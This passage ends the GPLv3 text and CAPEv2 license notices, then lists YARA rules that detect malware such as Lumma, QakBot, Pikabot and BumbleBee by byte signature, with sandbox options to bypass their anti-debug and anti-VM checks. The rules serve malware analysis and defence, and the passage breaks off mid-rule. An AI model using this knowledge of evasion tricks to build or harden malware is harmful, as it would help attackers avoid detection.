part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information.  But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).

  The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed.  Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.

  Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.

  7. Additional Terms.

  "Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law.  If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.

  When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it.  (Additional permissions may be written to require their own
removal in certain cases when you modify the work.)  You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.

  Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:

    a) Disclaiming warranty or limiting liability differently from the
    terms of sections 15 and 16 of this License; or

    b) Requiring preservation of specified reasonable legal notices or
    author attributions in that material or in the Appropriate Legal
    Notices displayed by works containing it; or

    c) Prohibiting misrepresentation of the origin of that material, or
    requiring that modified versions of such material be marked in
    reasonable ways as different from the original version; or

    d) Limiting the use for publicity purposes of names of licensors or
    authors of the material; or

    e) Declining to grant rights under trademark law for use of some
    trade names, trademarks, or service marks; or

    f) Requiring indemnification of licensors and authors of that
    material by anyone who conveys the material (or modified versions of
    it) with contractual assumptions of liability to the recipient, for
    any liability that these contractual assumptions directly impose on
    those licensors and authors.

  All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10.  If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term.  If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.

  If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.

  Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.

  8. Termination.

  You may not propagate or modify a covered work except as expressly
provided under this License.  Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).

  However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.

  Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.

  Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License.  If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.

  9. Acceptance Not Required for Having Copies.

  You are not required to accept this License in order to receive or
run a copy of the Program.  Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance.  However,
nothing other than this License grants you permission to propagate or
modify any covered work.  These actions infringe copyright if you do
not accept this License.  Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.

  10. Automatic Licensing of Downstream Recipients.

  Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License.  You are not responsible
for enforcing compliance by third parties with this License.

  An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations.  If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.

  You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License.  For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.

  11. Patents.

  A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based.  The
work thus licensed is called the contributor's "contributor version".

  A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version.  For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.

  Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.

  In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement).  To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.

  If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients.  "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.

  If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.

  A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License.  You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.

  Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.

  12. No Surrender of Others' Freedom.

  If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all.  For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.

  13. Use with the GNU Affero General Public License.

  Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work.  The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.

  14. Revised Versions of this License.

  The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time.  Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.

  Each version is given a distinguishing version number.  If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation.  If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.

  If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.

  Later license versions may give you additional or different
permissions.  However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.

  15. Disclaimer of Warranty.

  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.

  16. Limitation of Liability.

  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.

  17. Interpretation of Sections 15 and 16.

  If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.

                     END OF TERMS AND CONDITIONS

The file UserDB.txt is copyrighted by BoB / Team PEiD distributed under the following
MIT license.

Permission is hereby granted, free of charge, to any person obtaining a copy of this
software and associated documentation files (the "Software"), to deal in the Software
without restriction, including without limitation the rights to use, copy, modify,
merge, publish, distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to the following
conditions:

The above copyright notice and this permission notice shall be included in all copies
or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,
INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR
PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE
FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
DEALINGS IN THE SOFTWARE.

The file jquery.js is copyrighted by John Resig and dual licensed under the MIT or GPL
Version 2 licenses (see: http://jquery.org/license).

The files lightbox.js and lightbox.css are copyrighted by Lokesh Dhakar and licensed under
the Creative Commons Attribution 2.5 License
(see: http://creativecommons.org/licenses/by/2.5/).

The files bootstrap-fileupload.js, jasny-bootstrap.js, jasny-bootstrap.min.js,
jasny-bootstrap.css, jasny-bootstrap.min.css, jasny-bootstrap-responsive.css,
jasny-bootstrap-responsive.min.css are copyrighted by Jasny BV and licensed under the Apache
License, Version 2.0.

The files bootstrap.min.js, bootstrap.min.css, bootstrap-responsive.min.css,
glyphicons-halflings.png, glyphicons-halflings-white.png are copyrighted by Twitter, Inc.
and licensed under the Apache License, Version 2.0.

The file analyzer/windows/modules/amsi.py uses parts of pywintrace
(https://github.com/fireeye/pywintrace), which is copyrighted by FireEye, Inc. and licensed
under the Apache License, Version 2.0.

 */
rule CAPE_Lumma : FILE
{
	meta:
		description = "Lumma config extraction"
		author = "kevoreilly"
		id = "b2166620-3070-5727-b189-e6959cc5b698"
		date = "2024-01-05"
		modified = "2024-05-09"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/analyzer/windows/data/yara/Lumma.yar#L1-L14"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "a8f9212b619796f91f14c4164e4d2f30c66b51118f22f3d6c310841b6707b7b0"
		score = 75
		quality = 70
		tags = "FILE"
		cape_options = "bp0=$decode+5,action0=string:ebp,count=0,bp1=$patch+8,action1=skip,typestring=Lumma Config"
		packed = "0ee580f0127b821f4f1e7c032cf76475df9724a9fade2e153a69849f652045f8"
	strings:
		$c2 = {8D 44 24 ?? 50 89 4C 24 ?? FF 31 E8 [4] 83 C4 08 B8 FF FF FF FF}
		$decode = {C6 44 05 00 00 83 C4 2C 5E 5F 5B 5D C3}
		$patch = {66 C7 0? 00 00 8B 46 1? C6 00 01 8B}
	condition:
		uint16( 0 ) == 0x5a4d and 2 of them
}

rule CAPE_Buerloader : FILE
{
	meta:
		description = "BuerLoader RDTSC Trap Bypass"
		author = "kevoreilly"
		id = "38f01199-6bd2-5519-b570-8c0f46e74286"
		date = "2021-03-13"
		modified = "2021-03-13"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/analyzer/windows/data/yara/BuerLoader.yar#L1-L11"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "6f9f9b4c01251c0643c61701084cca2bdfeea08ca95f982355565cf05483d940"
		score = 75
		quality = 70
		tags = "FILE"
		cape_options = "bp0=$trap+43,action0=skip,count=0"
	strings:
		$trap = {0F 31 89 45 ?? 6A 00 8D 45 ?? 8B CB 50 E8 [4] 0F 31}
	condition:
		uint16( 0 ) == 0x5A4D and any of them
}

rule CAPE_Doomedloader : FILE
{
	meta:
		description = "No description has been set in the source file - CAPE"
		author = "kevoreilly"
		id = "88436e71-360e-5719-989f-24e71591ebe0"
		date = "2024-04-12"
		modified = "2024-07-25"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/analyzer/windows/data/yara/DoomedLoader.yar#L1-L12"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "54a5962ef49ebf987908c4ea1559788f7c96a7e4ea61d2973636e998a0239c77"
		score = 75
		quality = 70
		tags = "FILE"
		cape_options = "clear,bp0=$anti*-4,action0=setzeroflag,sysbp=$syscall+7,count=0,procdump=2"
		packed = "914b1b3180e7ec1980d0bafe6fa36daade752bb26aec572399d2f59436eaa635"
	strings:
		$anti = {48 8B 4C 24 ?? E8 [4] 84 C0 B8 [4] 41 0F 45 C6 EB}
		$syscall = {49 89 CA 8B 44 24 08 FF 64 24 10}
	condition:
		uint16( 0 ) == 0x5A4D and all of them
}

rule CAPE_Latrodectus : FILE
{
	meta:
		description = "Latrodectus export selection"
		author = "kevoreilly"
		id = "7c6f167a-6b76-5509-b164-306d1cd19b0f"
		date = "2024-02-26"
		modified = "2024-02-26"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/analyzer/windows/data/yara/Latrodectus.yar#L1-L12"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		hash = "378d220bc863a527c2bca204daba36f10358e058df49ef088f8b1045604d9d05"
		logic_hash = "c2c9f23e287253d766425c05eb774f6e07bdcbabc259e04b723a1a87c8b91fbd"
		score = 75
		quality = 70
		tags = "FILE"
		cape_options = "export=$export"
	strings:
		$export = {48 8B C4 48 89 58 08 48 89 68 10 48 89 70 18 48 89 78 20 41 56 48 83 EC 30 4C 8B 05 [4] 33 D2 C7 40 [5] 88 50 ?? 49 63 40 3C 42 8B 8C 00 88 00 00 00 85 C9 0F 84}
	condition:
		uint16( 0 ) == 0x5A4D and all of them
}

rule CAPE_Blister : FILE
{
	meta:
		description = "Blister Sleep Bypass"
		author = "kevoreilly"
		id = "34657bab-f100-5ea8-9111-da2806f46b79"
		date = "2022-05-10"
		modified = "2024-05-09"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/analyzer/windows/data/yara/Blister.yar#L1-L17"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "aba379b93c85241cf250829832b2c8a5eaafb3abd0ff955dbaf0d06489c00deb"
		score = 75
		quality = 70
		tags = "FILE"
		cape_options = "bp0=$sleep1+6,bp1=$sleep2+7,action0=setsignflag,action1=clearcarryflag,count=3"
		packed = "0a7778cf6f9a1bd894e89f282f2e40f9d6c9cd4b72be97328e681fe32a1b1a00"
		packed = "afb77617a4ca637614c429440c78da438e190dd1ca24dc78483aa731d80832c2"
	strings:
		$sleep1 = {FF FF 83 7D F0 00 (E9|0F 8?)}
		$sleep2 = {81 7D D8 90 B2 08 00 (E9|0F 8?)}
		$protect = {50 6A 20 8D 45 ?? 50 8D 45 ?? 50 6A FF FF D7}
		$lock = {56 33 F6 B9 FF FF FF 7F 89 75 FC 8B C1 F0 FF 45 FC 83 E8 01 75 F7}
		$comp = {6A 04 59 A1 [4] 8B 78 04 8B 75 08 33 C0 F3 A7 75 0B 8B 45 0C 83 20 00 33 C0 40 EB 02 33 C0}
	condition:
		uint16( 0 ) == 0x5A4D and 2 of ( $protect , $lock , $comp ) and all of ( $sleep* )
}

rule CAPE_Dridexloader : FILE
{
	meta:
		description = "DridexLoader API Spam Bypass"
		author = "kevoreilly"
		id = "a8b62f64-87a0-58d3-8876-9b0f6a7deb97"
		date = "2021-03-09"
		modified = "2021-03-09"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/analyzer/windows/data/yara/DridexLoader.yar#L1-L11"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "00a3e4e80a2558ee52035f091e2339fa2dad6f6515b9dc099f2f3800e4c70bce"
		score = 75
		quality = 70
		tags = "FILE"
		cape_options = "bp0=$trap-13,action0=ret,count=0"
	strings:
		$trap = {6A 50 6A 14 6A 03 5A 8D 4C 24 ?? E8 [4] 68 [4] 68 [4] E8 [4] 85 C0 74 05}
	condition:
		uint16( 0 ) == 0x5A4D and $trap
}

rule CAPE_Guloaderprecursor : FILE
{
	meta:
		description = "Guloader precursor"
		author = "kevoreilly"
		id = "663f89d7-a18b-5b03-a7cb-52444a887fa4"
		date = "2020-12-29"
		modified = "2023-10-02"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/analyzer/windows/data/yara/Guloader.yar#L17-L28"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "ea05c352739366a03da302074b01537382ba26f7fd5049004f156e47d284f070"
		score = 75
		quality = 70
		tags = "FILE"
		cape_options = "bp0=$antidbg,action0=scan,hc0=1,count=0"
	strings:
		$antidbg = {39 48 04 (0F 85 [3] ??|75 ??) 39 48 08 (0F 85 [3] ??|75 ??) 39 48 0C (0F 85 [3] ??|75 ??)}
		$except = {8B 45 08 [0-3] 8B 00 [0-3] 8B 58 18 [0-20] 81 38 05 00 00 C0 0F 85 [4-7] 83 FB 00 (0F 84|74)}
	condition:
		2 of them and not uint16( 0 ) == 0x5A4D
}

rule CAPE_Bumblebee : FILE
{
	meta:
		description = "BumbleBee Anti-VM Bypass"
		author = "enzo & kevoreilly"
		id = "85e2c9fd-86de-57c8-99ec-de2cc3996876"
		date = "2022-04-21"
		modified = "2023-02-08"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/analyzer/windows/data/yara/BumbleBee.yar#L34-L46"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "0a632a0b30b28d544880eb1cfdd85e95f455c343d60f8d6922d4196ef7415961"
		score = 75
		quality = 70
		tags = "FILE"
		cape_options = "bp0=$antivm1+2,bp1=$antivm2+2,bp1=$antivm3+38,action0=jmp,action1=skip,count=0,force-sleepskip=1"
	strings:
		$antivm1 = {84 C0 74 09 33 C9 FF [4] 00 CC 33 C9 E8 [3] 00 4? 8B C8 E8}
		$antivm2 = {84 C0 0F 85 [2] 00 00 33 C9 E8 [4] 48 8B C8 E8 [4] 48 8D 85}
		$antivm3 = {33 C9 E8 [4] 48 8B C8 E8 [4] 83 CA FF 48 8B 0D [4] FF 15 [4] E8 [4] 84 c0}
	condition:
		uint16( 0 ) == 0x5A4D and any of them
}

rule CAPE_Socks5Systemz : FILE
{
	meta:
		description = "Socks5Systemz config extraction"
		author = "kevoreilly"
		id = "ef14953a-2b48-54f4-8d15-c07c7459103e"
		date = "2024-05-22"
		modified = "2025-05-23"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/analyzer/windows/data/yara/Socks5Systemz.yar#L1-L19"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "7e324bacd1ea57585435b6a5a4c93bda63ca146c100f2361a1c5530b87668299"
		score = 75
		quality = 70
		tags = "FILE"
		cape_options = "br0=user32::wsprintfA,br1=ntdll::sprintf,action2=string:[esp],action3=string:[esp],count=0,typestring=Socks5Systemz Config"
		packed = "9b997d0de3fe83091726919a0dc653e22f8f8b20b1bb7d0b8485652e88396f29"
	strings:
		$chunk1 = {0F B6 84 8A [4] E9 [3] (00|FF)}
		$chunk2 = {0F B6 04 8D [4] E9 [3] (00|FF)}
		$chunk3 = {66 0F 6F 05 [4] E9 [3] (00|FF)}
		$chunk4 = {F0 0F B1 95 [4] E9 [3] (00|FF)}
		$chunk5 = {83 FA 04 E9 [3] (00|FF)}
		$chunk6 = {8A 04 8D [4] E9 [3] (00|FF)}
		$chunk7 = {83 C4 04 83 C4 04 E9}
		$chunk8 = {83 C2 04 87 14 24 5C E9}
	condition:
		uint16( 0 ) == 0x5A4D and 5 of them
}

rule CAPE_Modiloader : FILE
{
	meta:
		description = "ModiLoader detonation shim"
		author = "kevoreilly"
		id = "64f9aa51-d668-5d40-9781-c26970acf781"
		date = "2023-10-19"
		modified = "2025-01-31"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/analyzer/windows/data/yara/ModiLoader.yar#L1-L13"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		hash = "1f0cbf841a6bc18d632e0bc3c591266e77c99a7717a15fc4b84d3e936605761f"
		logic_hash = "9e64e0c40192cc832a1ffa7b3ac65a704596af82515d03706cd7aa1f4498f32f"
		score = 75
		quality = 70
		tags = "FILE"
		cape_options = "exclude-apis=NtAllocateVirtualMemory:NtProtectVirtualMemory"
	strings:
		$epilog1 = {81 C2 A1 03 00 00 87 D1 29 D3 33 C0 5A 59 59 64 89 10 68}
		$epilog2 = {6A 00 6A 01 8B 45 ?? 50 FF 55 ?? 33 C0 5A 59 59 64 89 10 68}
	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule CAPE_Amatera : FILE
{
	meta:
		description = "Amatera syscall capture"
		author = "kevoreilly"
		id = "0d58a054-8636-58d8-99b9-26560aa6c187"
		date = "2025-06-25"
		modified = "2025-06-25"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/analyzer/windows/data/yara/Amatera.yar#L1-L14"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		hash = "35eb93548a0c037d392f870c05e0e9fb1aeff3a5a505e1d4a087f7465ed1f6af"
		logic_hash = "1c02f04846568b85acbd4101b2e944dc824179f7cff1bceaec1c657939b610d5"
		score = 75
		quality = 70
		tags = "FILE"
		cape_options = "sysbp=$sysenter"
	strings:
		$sysenter = {64 FF 15 C0 00 00 00 C3}
		$harness = {0F B7 55 EC 52 E8 [4] 83 C4 04 C7 45 F0 [4] 8B 45 ?? 50 [0-40] FF 55 F0 83 C4 ?? 8B E5 5D C3}
		$socket = {66 89 [2] 6A 00 6A ?? 8D [3] 68 (03|07) 20 01 00 8B 4D F8 E8 [4] 0F B6 (C0|C8) 85 (C0|C9) 75 04 32 C0 EB}
	condition:
		uint16( 0 ) == 0x5A4D and all of them
}

rule CAPE_Pikahook : FILE
{
	meta:
		description = "Pikabot anti-hook bypass"
		author = "kevoreilly"
		id = "e1b7a807-135f-52d7-bc36-c0419e82b424"
		date = "2024-03-07"
		modified = "2024-03-12"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/analyzer/windows/data/yara/Pikabot.yar#L1-L14"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "2a50a5f2d905122a5b7ac8ca3666b47caa24d325e246841129e53807daf2a1dd"
		score = 75
		quality = 70
		tags = "FILE"
		cape_options = "clear,sysbp=$indirect+40,sysbpmode=1,force-sleepskip=1"
		packed = "89dc50024836f9ad406504a3b7445d284e97ec5dafdd8f2741f496cac84ccda9"
	strings:
		$indirect = {31 C0 64 8B 0D C0 00 00 00 85 C9 74 01 40 50 8D 54 24 ?? E8 [4] A3 [4] 8B 25 [4] A1 [4] FF 15}
		$sysenter1 = {89 44 24 08 8D 85 20 FC FF FF C7 44 24 04 FF FF 1F 00 89 04 24 E8}
		$sysenter2 = {C7 44 24 0C 00 00 00 02 C7 44 24 08 00 00 00 02 8B 45 0C 89 44 24 04 8B 45 08 89 04 24 E8}
	condition:
		uint16( 0 ) == 0x5A4D and 2 of them
}

rule CAPE_Pikexport : FILE
{
	meta:
		description = "Pikabot export selection"
		author = "kevoreilly"
		id = "7d2432f2-90ae-5ad0-b579-5789a1c14a08"
		date = "2024-03-07"
		modified = "2024-03-12"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/analyzer/windows/data/yara/Pikabot.yar#L16-L28"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		hash = "238dcc5611ed9066b63d2d0109c9b623f54f8d7b61d5f9de59694cfc60a4e646"
		logic_hash = "33f58703a0e40c2361343dbdcc17111aafbf5cc912393edda79005c6ec566f42"
		score = 75
		quality = 70
		tags = "FILE"
		cape_options = "export=$export"
	strings:
		$export = {55 8B EC 83 EC ?? C6 45 [2] C6 45 [2] C6 45 [2] C6 45 [2] C6 45}
		$pe = {B8 08 00 00 00 6B C8 00 8B 55 ?? 8B 45 ?? 03 44 0A 78 89 45 ?? 8B 4D ?? 8B 51 18 89 55 E8 C7 45 F8 00 00 00 00}
	condition:
		uint16( 0 ) == 0x5A4D and all of them
}

rule CAPE_Qakbot5 : FILE
{
	meta:
		description = "QakBot WMI anti-anti-vm"
		author = "kevoreilly"
		id = "d287b043-15df-5865-ad4c-9eb64ceec04c"
		date = "2022-03-16"
		modified = "2024-02-16"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/analyzer/windows/data/yara/QakBot.yar#L1-L13"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "303ea2d8d1a7f0fd0ca5508dae2c1b83c03b1e3e975760f15d36d93bcc152767"
		score = 75
		quality = 70
		tags = "FILE"
		cape_options = "bp0=$loop+35,action0=skip,count=0"
		packed = "f4bb0089dcf3629b1570fda839ef2f06c29cbf846c5134755d22d419015c8bd2"
	strings:
		$loop = {8B 75 ?? 48 8B 4C [2] FF 15 [4] 48 8B 4C [2] 48 8B 01 FF 50 ?? 8B DE 48 8B 4C [2] 48 85 C9 0F 85 [4] EB 4E}
		$conf = {0F B7 1D [4] B9 [2] 00 00 E8 [4] 8B D3 48 89 45 ?? 45 33 C9 48 8D 0D [4] 4C 8B C0 48 8B F8 E8}
	condition:
		uint16( 0 ) == 0x5A4D and any of them
}

rule CAPE_Qakbot4 : FILE
{
	meta:
		description = "QakBot Config Extraction"
		author = "kevoreilly"
